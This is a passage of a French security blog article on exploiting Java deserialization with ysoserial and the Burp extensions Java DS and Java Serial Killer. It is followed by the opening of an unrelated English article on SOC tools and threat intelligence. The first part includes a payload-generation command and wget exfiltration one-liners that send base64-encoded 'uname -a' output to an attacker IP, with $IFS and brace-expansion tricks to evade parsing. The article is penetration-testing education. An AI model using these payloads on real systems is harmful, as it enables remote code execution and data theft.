<figure id="post-15742 media-15742" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15742 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7.png" alt="" width="640" height="371" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7-329x191.png 329w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>A noter</h3>
</div>
<div style="text-align: justify;">Le plug-in <b>Java DS</b> repose sur un outil intégré de génération de charges utiles (gadgets) open source : <b>ysoserial</b>. Il est préférable d’utiliser la dernière version de l’outil, car elle inclut les types de charge les plus récents en fonction des vulnérabilités découvertes sur les librairies de sérialisation.</div>
<div style="text-align: justify;">Une fois le projet créé, n’oubliez donc pas de modifier le plug-in Java DS pour qu&#8217;il pointe vers le fichier jar <b>ysoserial </b>que vous aurez préalablement téléchargé :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15744 media-15744" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15744 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8.png" alt="" width="640" height="194" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8-437x132.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8-71x22.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h2>Attaquer les fonctions utilisant la désérialisation</h2>
</div>
<div style="text-align: justify;">La fonction de désérialisation utilisée par l’application peut :</div>
<div style="text-align: justify;">
<ul>
<li>Être écrite et redéfinie spécifiquement dans la classe de l’objet à désérialiser (override de la méthode <i>readObject</i>)</li>
<li>Être appelée dans une bibliothèque externe, la plus connue étant Apache Commons Collections (fonction <i>Utils</i>.<i>DeserializeFromFile</i>)</li>
<li>De nombreuses autres possibilités existent : méthode <i>readResolve</i>, méthode <i>readExternal</i>, méthode <i>readUnshared</i>, bibliothèque <i>XStream</i>, etc.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">L’outil <b>Java Deserialization Scanner</b> aura permis d’identifier la librairie utilisée. La prochaine étape est donc de générer la charge utile (gadget) correspondant à la librairie en question.</div>
<div style="text-align: justify;">Pour cela il existe 3 possibilités :</div>
<div style="text-align: justify;">
<ul>
<li>Générer un payload avec ysoserial puis l’envoyer au serveur</li>
<li>Utiliser l’extension Burp Java Deserialization Scanner</li>
<li>Utiliser l’extension Burp Java Serial Killer</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Méthode 1 : YSoSerial</h3>
</div>
<div style="text-align: justify;">L&#8217;une des vulnérabilités les plus importantes liée à la désérialisation a été découverte dans la bibliothèque <b>Apache Commons Collections</b>.</div>
<div style="text-align: justify;">Si une version vulnérable de cette bibliothèque (ou d’une autre bibliothèque vulnérable) est présente sur le système exécutant l&#8217;application utilisant la désérialisation, cette vulnérabilité peut entraîner l&#8217;<b>exécution de code à distance</b>.</div>
<div style="text-align: justify;">Afin d&#8217;exploiter cette vulnérabilité, il est possible d’utiliser l&#8217;outil <b>ysoserial</b>, qui contient une collection d&#8217;exploits et permet de générer des objets sérialisés malveillants qui exécuteront des commandes lors de la désérialisation.</div>
<div style="text-align: justify;">Il est juste nécessaire de spécifier la bibliothèque vulnérable. Voici un exemple pour Windows :</div>
<div style="text-align: justify;"><span class="w-code">java -jar ysoserial-master.jar CommonsCollections5 calc.exe &gt; wave.stone</span></div>
<div style="text-align: justify;">Cela générera un objet sérialisé (fichier wave.stone) pour la bibliothèque vulnérable <b>Apache Commons Collections</b> et l&#8217;exploit exécutera la commande « <b>calc.exe</b> ».</div>
<div style="text-align: justify;">Si le code suivant est présent côté serveur :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="w-code"><span class="sc11">LogFile</span> <span class="sc11">objet</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">LogFile</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">String</span> <span class="sc11">file</span> <span class="sc10">=</span> <span class="sc6">&#8220;wave.stone&#8221;</span><span class="sc10">;</span></span></span><span class="w-code"><span class="sc2">// Désérialisation de l’objet<br />
</span><span class="sc11">objet</span> <span class="sc10">=</span> <span class="sc10">(</span><span class="sc11">LogFile</span><span class="sc10">)</span><span class="sc11">Utils</span><span class="sc10">.</span><span class="sc11">DeserializeFromFile</span><span class="sc10">(</span><span class="sc11">file</span><span class="sc10">);</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Alors après envoi de la charge malveillante au serveur (via <b>Burp</b>), l’output côté serveur sera le suivant :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code">Deserializing from wave.stone<br />
<span class="w-grepped">Exception in thread &#8220;main&#8221; java.lang.ClassCastException:<br />
java.management/javax.management.BadAttributeValueExpException<br />
cannot be cast to LogFile at LogFiles.main(LogFiles.java:105)</span><br />
</span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Et le résultat sur le serveur sera l’exécution de calc.exe :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15746 media-15746" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15746 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9.png" alt="" width="326" height="502" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9.png 326w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9-124x191.png 124w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9-25x39.png 25w" sizes="auto, (max-width: 326px) 100vw, 326px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>Méthode 2 : Java DS</h3>
</div>
<div style="text-align: justify;">À la suite de la <b>phase de détection</b>, nous savons qu’une charge utile (gadget) forgé pour <b>CommonsCollections1</b> fonctionne contre notre cible.</div>
<div style="text-align: justify;">En accédant à l’onglet « <b>Exploiting </b>» de Java DS, il est possible de créer et d’envoyer nos propres charges utiles.</div>
<div style="text-align: justify;">Par exemple, pour tenter de lancer la commande <i>uname -a</i> sur le système Unix distant (si c’est un Unix) on entrera la commande suivante :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15748 media-15748" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15748 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10.png" alt="" width="640" height="479" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10-255x191.png 255w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10-52x39.png 52w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Le serveur renvoie ici un autre objet sérialisé en réponse, ce qui ne nous permet absolument pas de savoir si notre commande a réussi ou pas, ni d’avoir sa sortie.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15750 media-15750" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15750 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11.png" alt="" width="640" height="496" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-246x191.png 246w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-155x120.png 155w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Une technique permettant de valider l&#8217;exécution réussie de nos commandes consiste à utiliser un canal auxiliaire basé sur le temps : En <b>mettant en pause le processus en cours d’exécution avec la commande Java Sleep</b>, nous pouvons <b>démontrer avec certitude que l’application est vulnérable en mesurant le temps de réponse du serveur</b>.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Une charge utile basée sur la mise en pause du processus est donc suffisante pour identifier la vulnérabilité, mais si vous avez le temps et voulez aller encore plus loin, il est <b>possible de récupérer cette sortie</b> en déployant un serveur web sur votre machine, et en requêtant votre serveur web depuis le serveur cible.</div>
<div style="text-align: justify;">Pour cela, sur votre machine d’audit, commencez par déployer un serveur web :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">python -m SimpleHTTPServer 80</span></div>
<div></div>
<div style="text-align: justify;">Et l’objectif va être de faire exécuter cette commande au serveur cible :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">wget <span class="w-grepped">ip_attaquant</span>/`uname -a | base64`</span></div>
<div></div>
<div style="text-align: justify;">L’exploit de Apache Commons Collections fait transmettre notre commande à Apache Commons <b>exec</b>.</div>
<div style="text-align: justify;">Par conséquent, les commandes sont invoquées sans avoir de shell parent, ce qui limite rapidement les actions… Mais on peut appeler un shell <b>bash </b>via Apache Commons <b>exec </b>via la commande <b>bash -c</b>.</div>
<div style="text-align: justify;">Toutefois, Apache Commons exec parse les commandes en gérant très mal les espaces&#8230; Pour résoudre ce problème, on peut utiliser 2 approches :</div>
<div style="text-align: justify;">
<ul>
<li>Utiliser les fonctions de manipulation de chaîne en bash. Par exemple, cette commande charge le résultat en base64 de la commande echo yoloswag dans la variable c, qui est ensuite ajoutée au chemin de la requête wget :</li>
</ul>
</div>
<div style="text-align: justify;"><span class="w-code">bash -c c=`{echo,yoloswag}|base64`&amp;&amp;{wget,<span class="w-grepped">ip_attaquant</span>/$c}&#8217;</span></div>
<div style="text-align: justify;">
<ul>
<li>Il est aussi possible d’utiliser la variable $IFS (séparateur de champs interne) à la place des espaces dans la commande transmise à Bash. Ici pour lancer un uname -a :</li>
</ul>
</div>
<div style="text-align: justify;"><span class="w-code">bash –c wget$IFS<span class="w-grepped">ip_attaquant</span>/`uname$IFS-a|base64`</span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Dernier point important : il peut être nécessaire d’échapper les barres obliques et les signes dollar dans certaines situations, tout dépend de la charge utile et des fonctions touchées.</div>
<div style="text-align: justify;">Ici, avec une machine d’audit ayant pour IP 54.161.175.139 :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15752 media-15752" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15752 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12.png" alt="" width="640" height="374" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-327x191.png 327w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Le résultat côté serveur web sur la machine d’audit est le suivant :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15760 media-15760" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15760 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis.png" alt="" width="640" height="32" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis-437x22.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis-71x4.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">Une requête depuis l’IP du serveur cible apparaît, vers une URL encodée en base64 et qui correspond à la sortie de la commande « <b>uname -a</b> ».</div>
<div style="text-align: justify;">En effet, après une extraction de la donnée et son décodage base64 par la commande suivante :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">tail -n1 access.log | cut -d/ -f4 | cut ‘d’’ -f1 | base64 -d</span></div>
<div></div>
<div style="text-align: justify;">Le résultat suivant apparaît :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15762 media-15762" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15762 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter.png" alt="" width="640" height="29" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter-437x20.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter-71x3.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">Vous avez donc exécuté une commande <b>uname -a</b> avec succès sur le serveur cible : vous êtes désormais un serial hacker accompli !</div>
<div style="text-align: justify;">
<figure id="post-15754 media-15754" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15754 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13.jpg" alt="" width="320" height="212" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-288x191.jpg 288w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-59x39.jpg 59w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Le maître deserializateur veut vous serrer la main</span></i></div>
</div>
<div style="text-align: justify;">
<h3>Méthode 3 : Java Serial Killer</h3>
</div>
<div style="text-align: justify;">À la suite de la <b>phase de détection</b>, nous savons qu’une charge utile (gadget) forgé pour <b>CommonsCollections1 </b>fonctionne contre notre cible.</div>
<div style="text-align: justify;">Vous pouvez alors utiliser l’extension Burp <b>Java Serial Killer</b> ; un clic-droit sur une requête POST contenant un objet Java sérialisé dans le body permet de l’envoyer à l’extension :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15756 media-15756" class="align-none">
<figure id="post-15764 media-15764" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15764 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis.png" alt="" width="640" height="229" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis-71x25.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Allez ensuite dans l’onglet Burp « Java Serial Killer » :</div>
<div style="text-align: justify;">
<figure id="post-15756 media-15756" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15756 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14.png" alt="" width="640" height="327" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14-71x36.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Cet onglet prend en entrée :</div>
<div style="text-align: justify;">
<ul>
<li>Une commande à exécuter sur le serveur cible</li>
<li>La librairie vulnérable à exploiter</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Par exemple, pour envoyer une requête ping à <b>wavestone.com</b> en utilisant le type de charge utile <b>CommonsCollections1</b>, car nous savons qu’elle fonctionne suite à la phase de détection :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15758 media-15758" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15758 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15.png" alt="" width="640" height="333" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15-71x37.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<p>Il est aussi possible d’encoder la charge en Base64, si c’est le format attendu par le serveur (voir la petite checkbox à droite de « Serialize »).</p>
</div>
<h2 style="text-align: justify;">Conclusion</h2>
<div style="text-align: justify;">Vous avez désormais les bases théoriques permettant de comprendre les vulnérabilités liées à la désérialisation en Java, et les techniques et outillages pratiques permettant de les exploiter dans les librairies les plus connues, sans connaissance préalable du code applicatif.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Toutefois, il est à garder en tête que ces librairies ne sont pas utilisées dans 100% des cas de désérialisation, comme vu dans le chapitre « Exemple d’attaque : Compromission de compte utilisateur », où la vulnérabilité exploitée n’impliquait d’ailleurs même pas l&#8217;envoi de code au serveur à exécuter. Les exploits plus spécifiques reposent donc énormément sur la connaissance du code (ou l’ingénierie inverse sur ce code) qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Par ailleurs, la sérialisation/désérialisation n’est pas un concept exclusif à Java, et se retrouve dans de nombreux autres langages de programmation, notamment :</div>
<div style="text-align: justify;">
<ul>
<li><b>Python : </b>pickling / unpickling</li>
<li><b>PHP : </b>serializing / deserializing</li>
<li><b>Ruby : </b>marshalling / unmarshalling</li>
<li>…</li>
</ul>
</div>
<div style="text-align: justify;">La méthodologie globale reste la même, mais les outils peuvent varier (<b>Freddy </b>à la place de <b>ysoserial </b>pour les moteurs de désérialisation XML par exemple…).</div>
<div style="text-align: justify;">La cheatsheet suivante peut donner de bonnes pistes d’audit pour ces autres langages et technologies :</div>
<div style="text-align: justify;"><a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md">https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md</a>.</div>
<div></div>
<h3 style="text-align: justify;">Sources et références pour approfondir le sujet</h3>
<div style="text-align: justify;">Article Nytro sur la désérialisation Java</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/">https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/</a></li>
</ul>
</div>
<div style="text-align: justify;">Article de Synopsys expliquant comment exfiltrer de la donnée via la désérialisation Java et contourner les principales limitations techniques que l’on peut rencontrer</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf">https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf</a></li>
</ul>
</div>
<div style="text-align: justify;">Cheatsheet pour la désérialisation Java</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet">https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet</a></li>
</ul>
</div>
<div style="text-align: justify;">La désérialisation Java avec Burp</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://blog.netspi.com/java-deserialization-attacks-burp/">https://blog.netspi.com/java-deserialization-attacks-burp/</a></li>
</ul>
</div>
<div style="text-align: justify;">Article complet expliquant la désérialisation Java et listant plusieurs outils dédiés</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/">https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/</a></li>
</ul>
</div>
<div style="text-align: justify;">Liste de recommandations sur l’usage de la désérialisation pour divers langages</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md">https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk d’Insomnia sur la désérialisation pour plusieurs langages à l’OWASP New Zealand Day 2016</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://insomniasec.com/cdn-assets/Deserialization_-__What_Could_Go_Wrong.pdf">https://insomniasec.com/cdn-assets/Deserialization_-__What_Could_Go_Wrong.pdf</a></li>
</ul>
</div>
<div style="text-align: justify;">Exploitation de vulnérabilités de désérialisation Java dans des environnements sécurisés (systèmes avec pare-feu, Java mis à jour)</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html">https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html</a></li>
</ul>
</div>
<div style="text-align: justify;">Exploiter la désérialisation Java en aveugle avec Burp et Ysoserial</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/">https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/</a></li>
</ul>
</div>
<div style="text-align: justify;">Write-up du challenge Webgoat 8 (application d’entraînement développée par l’OWASP) d’exploitation d’une vulnérabilité de désérialisation non sécurisée</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef">https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef</a></li>
</ul>
</div>
<div style="text-align: justify;">Article d’un reverse engineer de Tenable expliquant l’analyse de la  CVE-2016-3737, et l’écriture de gadgets pour Jython</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://fr.tenable.com/blog/expanding-on-a-known-vulnerability-attacking-with-jython">https://fr.tenable.com/blog/expanding-on-a-known-vulnerability-attacking-with-jython</a></li>
</ul>
</div>
<div style="text-align: justify;">Cours Java sur l’implémentation d’une classe sérialisable</div>
<div style="text-align: justify;">
<ul>
<li><a href="http://www.javapractices.com/topic/TopicAction.do?Id=45">http://www.javapractices.com/topic/TopicAction.do?Id=45</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk d’Alvaro Munoz (@pwntester) et Christian Schneider (@cschneider4711) à l’OWASP AppSecEU 2016 sur les vulnérabilités de désérialisation de la JVM et comment s’en protéger</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://fr.slideshare.net/cschneider4711/surviving-the-java-deserialization-apocalypse-owasp-appseceu-2016">https://fr.slideshare.net/cschneider4711/surviving-the-java-deserialization-apocalypse-owasp-appseceu-2016</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk de Chris Frohoff (@frohoff) et Gabriel Lawrence (@gebl) à l’OWASP San Diego sur la désérialisation Java</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization">https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization</a></li>
</ul>
</div>
<div style="text-align: justify;">Analyse de l’attaque d’Equifax (143 millions de clients touchés aux USA) en 2017 par @brandur, reposant sur le chaînage de gadgets</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://brandur.org/fragments/gadgets-and-chains">https://brandur.org/fragments/gadgets-and-chains</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk de Matthias Kaiser (@matthias_kaiser) à la HackPra WS 2015 sur l’exploitation de vulnérabilités de désérialisation non-sécurisée</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://fr.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478">https://fr.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478</a></li>
</ul>
</div>
<div style="text-align: justify;">Article de Ian Haken sur la découverte automatisée de chaînes de gadgets, notamment avec Gadget Inspector</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf">https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf</a></li>
</ul>
</div>
<div style="text-align: justify;">Article de @breenmachine de 2015 sur la désérialisation Java dans plusieurs technologies du marché et détail de 5 exploits (websphere, jboss, jenkins, weblogic et openNMS)</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/">https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/</a></li>
</ul>
</div>
<div style="text-align: justify;"></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/07/techniques-outils-deserialisation-java/">Techniques et outils d’attaque sur les moteurs de désérialisation (Java)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (3/3)</title>
		<link>https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-33/</link>
		
		<dc:creator><![CDATA[Amaury Coulomban]]></dc:creator>
		<pubDate>Thu, 18 Apr 2019 10:41:38 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[Machine learning]]></category>
		<category><![CDATA[SOAR]]></category>
		<category><![CDATA[supervision]]></category>
		<category><![CDATA[Threat intelligence]]></category>
		<category><![CDATA[tool]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=11853</guid>

					<description><![CDATA[<p>After the first article which covered &#8220;Extending the scope of detection to new perimeters” (see here), and the second, dedicated to “Enhancing detection through new approaches” (available here)&#8230; this is the conclusion to this (epic!) saga. This last installment will...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-33/">SOAR, UEBA, CASB, EDR and others: which tools do you need for you SOC? (3/3)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>After the first article which covered &#8220;<em>Extending the scope of detection to new perimeters</em>” (see <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-13/">here</a>), and the second, dedicated to <em>“Enhancing detection through new approaches”</em> (available <a href="https://www.riskinsight-wavestone.com/en/2019/04/new-tools-soc-23/">here</a>)&#8230; this is the conclusion to this (epic!) saga. This last installment will cover the last two strategic areas.</p>
<p>&nbsp;</p>
<h2>Improving knowledge of threats and attackers</h2>
<h3>Cyber-threat intelligence (CTI) platforms</h3>
<p>Cyber-Threat Intelligence (CTI or Threat Intel) is a discipline that brings together <strong>the collection, consolidation, and exploitation of all information on cyber-threats</strong>. “Know your enemy&#8221; says Sun Tzu in the Art of War. Although this quote refers to &#8220;physical&#8221; wars, the principle remains true, and is probably even more true when it comes to &#8220;cyber&#8221; battles.</p>
<p>Today, a large number of security approaches rely on <strong>knowledge of attacks</strong>: the signature-based approach of antivirus and IDS solutions, targeted detection scenarios, etc. Even though this trend is reversing (in particular with the detection of anomalies) the vast <strong>majority of security products still rely—and will continue to rely—on the principles of Threat Intelligence</strong>.</p>
<p>With companies’ needs becoming more specific, and attackers ever more specialized, Threat Intel solutions are becoming increasingly popular, with services being offered directly to companies. In addition to commercial offerings, more and more exchange platforms and partnerships are enabling direct collaboration with other companies (in the same sector or geographical area, etc.).</p>
<p>Threat Intel offers a range of services. On the one hand, <strong>‘strategic’ Threat Intel </strong>helps an SOC better understand the context and <strong>specific threats to the company.</strong> To do this, the risks from various ecosystems are studied: geographical, political, ideological, sectoral, etc. This information enables security teams to better understand the threats they face and guides their decisions to define <strong>&#8220;long-term&#8221; strategy</strong> (solutions to be deployed, etc.).</p>
<p>On the other hand, <strong>‘tactical’ Threat Intel</strong> provides more precise information on attackers&#8217; methods, allowing the SOC to facilitate detection and tailor existing measures: new threat scenarios to monitor, ports to block, etc.</p>
